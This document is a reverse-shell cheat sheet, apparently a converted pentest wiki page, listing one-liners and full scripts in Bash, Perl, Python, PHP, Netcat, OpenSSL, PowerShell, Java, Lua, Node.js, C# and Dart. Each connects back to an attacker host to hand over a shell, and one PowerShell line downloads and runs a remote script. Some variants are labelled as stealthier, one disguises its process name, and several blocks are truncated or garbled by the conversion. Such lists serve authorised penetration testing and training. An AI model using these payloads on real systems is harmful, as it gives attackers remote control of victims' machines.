Reverse Shell
Reverse Shell
Index
Index
Bash TCP
Bash UDP
Socat
Chisel
perl
Pentest Monkey
perlbug
awk
Python
IPv4
IPv4 - No Spaces
IPv4 - No Spaces, Shortened
IPv4 - No Spaces, Shortened Further)
IPv6
IPv6 - No Spaces
IPv6 - No Spaces, Shortened
Windows only
PHP
Variants
Simple
Pentest Monkey
Ruby
Golang
Netcat
Netcat without -e
Netcat OpenBBD
Netcat BusyBox
Ncat
OpenSSL
PowerShell
Java
Java Alternative 1
Java Alternative 2
telnet
WAR
Lua
Node.js
Groovy
Groovy Alternative 1
C
C
Dart
xterm
Reference
Bash TCP
Bash TCP
Commands
Bash UDP
Bash UDP
Commands
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
Warning
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
Socat
Commands
Commands
Info
Chisel
Chisel is a fast TCP/UDP tunneling, transported over HTTP, and secured via ssh. Single executable
including both client and server. Written in Go (golang). Chisel is mainly useful for passing through
Firewalls, though it can also be used to provide a secure endpoint into your network.
perl
Commands
perl -e 'use
Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Pentest Monkey
Commands
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
#
# Description
# -----------
# This script will make an outbound TCP connection to a hardcoded IP and port.
# The recipient will be given a shell running as the current user (apache
normally).
#
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view
this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your
IP address. Denying access");
cgiexit(0);
}
setsid();
chdir('/');
umask(0);
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
perlbug
Run nc -l -p 12345 on the attacker box to receive the shell.
Commands
export RHOST=attacker.com
export RPORT=12345
perlbug -e 'use
Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobynam
e("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
awk
Run nc -l -p 12345 on the attacker box to receive the shell.
Commands
RHOST=attacker.com
RPORT=12345
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
s = "/inet/tcp/0/" RHOST "/" RPORT;
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Python
IPv4
Commands
python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("
RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Commands
python -c 'import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0
.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pt
y.spawn("/bin/sh")'
Commands
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(
),2);subprocess.call(["/bin/sh","-i"])'
Commands
python -c 'import
socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("
10.0.0.1",4242));subprocess.call(["/bin/sh","-
i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
IPv4 - No Spaces
Commands
python -c
'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.s
ocket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.f
ileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
Commands
python -c
'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("o
s");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242
));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.c
all(["/bin/sh","-i"])'
Commands
python -c
'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(
socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call([
"/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
Commands
python -c
'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,
s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2)
;p("/bin/sh")'
Commands
python -c
'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF
_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(
f(),2);p(["/bin/sh","-i"])'
Commands
python -c
'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_ST
REAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-
i"],stdin=f(),stdout=f(),stderr=f())'
Commands
python -c
'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connec
t(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
Commands
python -c
'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.
connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-
i"])'
Commands
python -c
'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.
0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
IPv6
Commands
python -c 'import
socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dea
d:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.
fileno(),2);pty.spawn("/bin/sh")'
IPv6 - No Spaces
Commands
python -c
'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.s
ocket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2
));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/
bin/sh")'
Commands
python -c
'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6
,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f
(),1);o(f(),2);p("/bin/sh")'
Windows only
Commands
PHP
Variants
Commands
Simple
Commands
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i",
array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Pentest Monkey
Commands
<?php
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache
normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail
and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).
These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not
fatal.");
}
//
// Do the reverse shell...
//
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
Ruby
Commands
Golang
Commands
Netcat
Commands
Netcat without -e
Commands
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 >
/tmp/f
# Or
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 44
Netcat OpenBBD
Netcat OpenBBD
Commands
Netcat BusyBox
Netcat busybox
Commands
Ncat
Commands
OpenSSL
Commands
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -
days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -
connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
Commands
PowerShell
Commands
Commands
Commands
powershell -Exec BypassIEX (New-Object
Net.WebClient).DownloadString('http://10.10.10.7:53/bb.ps1')
Java
Commands
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while
read line; do $line 2>&5 >&5; done'");
p.waitFor();
Java Alternative 1
Commands
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.re
ad());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sle
ep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Java Alternative 2
NOTE: This is more stealthy
Commands
telnet
Commands
WAR
Commands
Lua
Linux only
Commands
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.e
xecute('/bin/sh -i <&3 >&3 2>&3');"
Commands
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket")
local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while
true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r")
local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end
end tcp:close()'
Node.js
Commands
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
Groovy
by frohoff
NOTE: Java reverse shell also work for Groovy
Commands
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.re
ad());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sle
ep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Groovy Alternative 1
NOTE: This is more stealthy
Commands
Thread.start {
// Reverse shell here
}
Commands
[[include]] <stdio.h>
[[include]] <sys/socket.h>
[[include]] <sys/types.h>
[[include]] <stdlib.h>
[[include]] <unistd.h>
[[include]] <netinet/in.h>
[[include]] <arpa/inet.h>
int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;
return 0;
}
Warning
C on .Net
Look at C-Sharp Simple Reverse Shell to see how compile it.
Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("192.168.200.130",
443))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new
StreamReader(stream))
{
streamWriter = new
StreamWriter(stream);
StringBuilder strInput = new
StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow =
true;
p.StartInfo.UseShellExecute =
false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput
= true;
p.StartInfo.RedirectStandardError
= true;
p.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0,
strInput.Length);
}
}
}
}
}
Dart
Commands
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on
the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
Commands
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this
is with Xnest (to be run on your system):
Commands
Xnest :1
You’ll need to authorize the target to connect to you (command also run on your host):
Commands
xhost +targetip
Reference
Links
Info